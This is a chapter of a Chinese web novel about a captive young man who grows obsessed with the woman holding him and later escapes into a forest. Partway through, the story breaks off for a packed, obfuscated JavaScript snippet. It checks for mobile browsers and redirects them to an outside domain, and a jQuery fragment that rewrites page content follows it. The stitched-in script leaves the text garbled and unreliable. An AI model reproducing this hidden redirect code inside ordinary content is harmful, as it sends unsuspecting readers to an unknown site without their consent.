他甚至学会了察言观色。
在他前面十几年的人生里,这四个字素来与他无关,可他现在,习惯性时刻关注她的每一丝情绪变化。
她的每一丝情绪波动都能直接牵动起他的情绪。
就比如现在,那张漂亮精致的脸上,还是那副淡然的神情,可他就是能敏感地觉察出,她心情不是很好。
她同样带了个食盒给他,里面的饭菜却是凉的,硬的。
他接过那个冷饭盒,机械地低头吃饭,只觉得有道目光幽幽落在他脸上,让他莫名有些不安。
林西彩始终沉默着,空气中只有他低头吃饭的声音。
一直到他吃完饭,放下碗筷,林西彩终于开口,问了句让他有些意想不到的话,“你交往过的那些女生里,有没有真的喜欢过谁?”
李慈讷讷抬头,不明白她为什么突然问这些。
喜欢过谁?
也许都喜欢过,不然他不会选中她们。
也许谁也没喜欢过,不然不会故意甩了她们,兴致勃勃地看她们伤心。
她想听到什么答案,李慈有些捉摸不透。
因为捉摸不透,所以不敢轻易开口。
这件事是两个人的雷区,两个人最初结怨的原因,李慈再明白不过,有关这件事,他随便开口说点什么,大概都会踩到她的雷区。
李慈紧张起来,像一个被扒光示众的囚徒。
林西彩盯着他,见他不吭声淡淡笑了下,意味不明,“你说你这么恶劣,都有人在外面捧着一颗心等你回去,李慈啊李慈,你真是好福气啊。”
李慈听出她语气里的嘲讽和凉意,抬眸看过去,眼睛直勾勾盯着她的脸,眼神微微一颤。他看着她,喉结动了动,却没有发出声音。
林西彩抿了抿唇,“你在想什么?”
林西彩笑了,目光下移,落到他紧紧捏着的勺子上,“怎么,又想扎我一下?”
李慈没说话,松开那柄勺子,伸手抓住了她的手腕,他盯着她,俊秀的脸上流露出一种近似担心的神情,“……有人欺负你是吗?”
林西彩笑意凝在唇边,微微怔了下,甩开了他的手。
李慈凝眉,“警……警察,我爸,有没有找你麻烦。”
林西彩看向他,“你想说什么?”
“我,我可以帮你。”
“帮我?”林西彩抿唇,“帮我什么?”
“帮你跟他们说我……我没事,你可以看着我打电话,我不会乱说话的……”
他未说完,林西彩忍不住笑了,手指向上移动,掌心轻轻拍了拍他的脸,她的声音传过来,呼吸是温热的,声音却是凉的,“李慈,是你傻了,还是你以为我傻了?我以为你变乖了,原来是想着怎么算计我呢。”
李慈身体僵住,摇头,“我不是……”
他没有这样想,他只是…….
只是见不得她心情这样不好。
他们每天只有十几分钟的见面时间,只有这十几分钟,没人知道这一点点时间对他来说意味着什么!究竟是哪个该死的惹她心情不好,破坏了他这十几分钟的念想!都给他去死!
他只想让她来看他的时候是开开心心的,没有人知道她开心的样子是多么让他安心。
他的人生就剩下这一点点乐趣了,究竟是谁还要破坏掉?为什么这么过分?为什么这么该死?
不对,他为什么会有这么可怕的想法?
他不应该盼着离开吗?他不应该盼着外面的人发现他吗?
他在做什么?难道他真的想要留在这个地方一辈子吗?
他突然开始头痛,一个声音在叫,说他要尽早离开,另一个更大的声音也在叫,说如果有她一直陪着他,这样过下去也不是不可以,外面有什么?那些浮躁空虚的日子就真的比现在好吗?
他的灵魂仿佛被反复撕扯,变得破烂不堪。
他被折磨得眼神有些涣散,眼巴巴看向林西彩,神情里有种莫名的无助。
他看向她,撞上她清明冷淡的目光,好像突然意识到自己方才说错了话,习惯性低下头抠弄起手指。
这个动作做出来想到她不喜欢他把手指抠得血淋淋的,又马上放下了手,有点不知所措。
“紧张什么,”林西彩看过来,顿了顿,语调轻盈,“你最近表现不错,过两天我想带你出去走走,你会逃跑吗?”
李慈猛然看向她,像是不敢相信自己听到的。
出去?出去走走?
她说想放他出去……
李慈心里没有多少期待,他根本不相信她,甚至内心深处掀起一种不安。
可在她的灼灼目光中,他还是如她所愿摇了摇头。
林西彩温柔地笑了笑,意味不明。
……
李慈并未将她的话当真,直到几天后的一个周末,她早早来到这里,心情很好地跟他说,今天天气很好,我带你出去走走吧。
李慈看着她的眼睛,在那双清澈无害的笑眼中分辨不清里面是真心还是假意。
他最初发了疯地想出去,而今,这个机会摆在他面前,更多的是一种麻木和不安——她到底要做什么?
他的眼睛被她用一个黑色的眼罩遮住,那种突如其来的黑暗让他身体僵硬,心脏骤停一瞬,几乎喘不过气来,他下意识伸手过去要去将它抓下来,一只温热的柔软的手轻轻捉住了他的手腕。
“别动。”她说。
李慈已经习惯了她用冷冷的命令的语气跟他讲话,几乎是条件反射地不敢再反抗。
不敢,也不想再反抗,她牵着他,柔软细腻的皮肤贴着他的,属于她的体温通过手腕传过来,让他从身体到思维都变得迟钝而僵硬。
他的身体和灵魂对这个人的渴望已经到了可怖的地步,一点点皮肤相触而已,就让他像个被满足的瘾君子,不能自拔,沉迷又沉沦。
他的视线被遮得很严,他什么都看不见,全部的五感都聚在手腕上她牵着他的地方。
他跟不止一个女人抱过亲过,更亲密的事都做过,却不及这个人只是敷衍地牵他一下。
那种灭顶的渴望和战栗让他不安又过度兴奋,他几乎克制不住地想要反客为主,跟她十指紧扣,他恨不得将这个贱人的手捏烂,将她的血肉都融进自己的身体里。
她牵着他走了很久很久,两个人始终沉默,他不敢擅自开口说话,而她是一贯的吝于跟他讲话。
走到后面,他感觉到有些热——是那种光线照射到皮肤上的感觉。
空气在流动,时隔三月,他额前渐长的发丝微微拂动,他感受到了久违的风。
下一瞬,牵着他手腕的那只手松开了她,几乎同一时间,他眼睛上的眼罩被取下来,刹那间,天光浮现。
蓝天白云,草地树林,还有小溪和阳光。
他的眼睛初见阳光,被刺得有些痛,却不舍得眨一下,麻木又饥渴地盯着久违的外面的风景,一颗心骤停,又狂跳。
他嗅着草地湿润的清香,听着溪水流动的声音,感受着微风拂面骄阳明媚,一切一切,都是记忆中外面的样子。
他真的出来了,她竟然真的将他放了出来。
这个地方他一时没有辨认出具体是哪里,他猜测这应该是郊区附近,付家的别墅就坐落在邻近郊区,这里大概就是那个方位。
李慈愣愣站在那里,神情复杂,目光望向远处,不知道在想什么。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15906053|173839||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
然后他缓缓收回视线,看向那个人——她似乎一点都不担心他逃跑,兀自在溪边蹲下来伸手撩水玩,白嫩纤细的手拨弄清澈水流,唇角弯弯的,看起来就像一个最纯真无害的小女孩。
林西彩自顾自玩了会儿水,似乎才想起他,抬眸看过来,对上他的视线,笑意微微:“你会逃跑吗?”
李慈看着那张让他想要恨得心脏抽筋儿,又渴望到灵魂发颤的脸,连他自己都有些恍惚——
机会摆在这里,他应该跑的对不对?
只要跑出去,只要他得了自由,他想要什么没有?
等他出去,他会第一时间把这个小贱人掳回去关起来,一辈子把她困在自己身边,一辈子折磨她,他会让她付出代价,让她再也不敢忤逆他离开他......
他被关在那个地方,每天只有十几分钟的时间能见到她,等他出去,他要她变成他的,二十四小时一分一秒都要跟他在一起,不可以想别人,不可以见别人,她的骨血灵魂,她的呼吸,她一切一切都是他的,谁他妈也别想觊觎。
这个念头太过诱人,让他.......让他呼吸都变热了几分。
林西彩远远蹲在溪边,见他只直勾勾盯着她,并不说话,手上撩了汪水轻轻甩了过来,语气中带着几分责备,“回答我,你会逃跑吗?”
李慈盯着她,摇摇头,已经麻木了许久的眼睛中闪动起一抹异色。
林西彩笑笑,仰脸对着太阳呼吸了几口新鲜空气,表情惬意自足,脸上没有半分防备。
太阳暖融融的,有些催眠,林西彩玩了半天,拿了本书靠在一颗树下看书,那本书似乎有些不合胃口,她看了会儿,越看越困,后面眼皮越来越沉,竟直接靠着树睡着了。
李慈在不远处走动散步,实则一直用余光留意她的动作,见她就这么睡着了,喉结动了动,缓缓朝她走了过去。
她睡得很沉,呼吸很稳,他站在树下盯着她看了许久,她都没有醒来。
李慈于是在她身侧蹲了下来,他盯着她得脸,眼神在斑驳的阴影下变得幽深。
在他的手边,是一块棱角尖锐的石头,摸上去冰冷坚硬,就像这个人的心。李慈轻轻抚摸着那块石头,心知肚明这是最好的时机,只要砸下去,只要砸下去这些天他受的所有屈辱就都结束了。
那块石头被他捏紧又松开,李慈死盯着那张白皙精致的脸,眼神凶恶,缠绵,变幻几许,像被困在一种绝望的犹豫里,最终什么都没有做。
这个人,就像一个恶毒的艺术品。
长着毒刺,却实在精妙美丽。
他下不去手,即便他已经被她的刺弄得面目全非,遍体鳞伤。
比起就这么毁灭她,他更想亲手一根一根拔掉她身上的刺,将她圈进自己的地盘,变成他一个人的藏品,彻底拥有永远占有。
李慈最后看了她一眼,然后朝相反的方向跑去。
这里是郊区,只要他穿过这片小树林,只要碰到个人碰到辆车,他就彻底自由了。
他走得很快,身体较之前瘦了很多,整个人看起来愈发高挑单薄,他在小树林里穿梭,跑了很久,他原以为会很快跑出去,可那片树林好像没有尽头,他跑了很久,连太阳都落下去了,天色都变暗了他都还没跑出那片森林。
铺天盖地的漆黑如墨泼下,那种对于黑暗的恐惧是刻在骨子里的,周围的树叶沙沙作响,他在树林里跌跌撞撞,甚至能听到四面八方传来的野狼的叫声。
此情此景,再一次勾起了他儿时被绑架的经历,四肢百骸都变得僵硬迟钝。他强撑着让自己镇静下来,强撑着往外跑——他太想跑出那片树林了,以至于忘了细想,他在沨陵土生土长,这里怎么会有这样一片树林。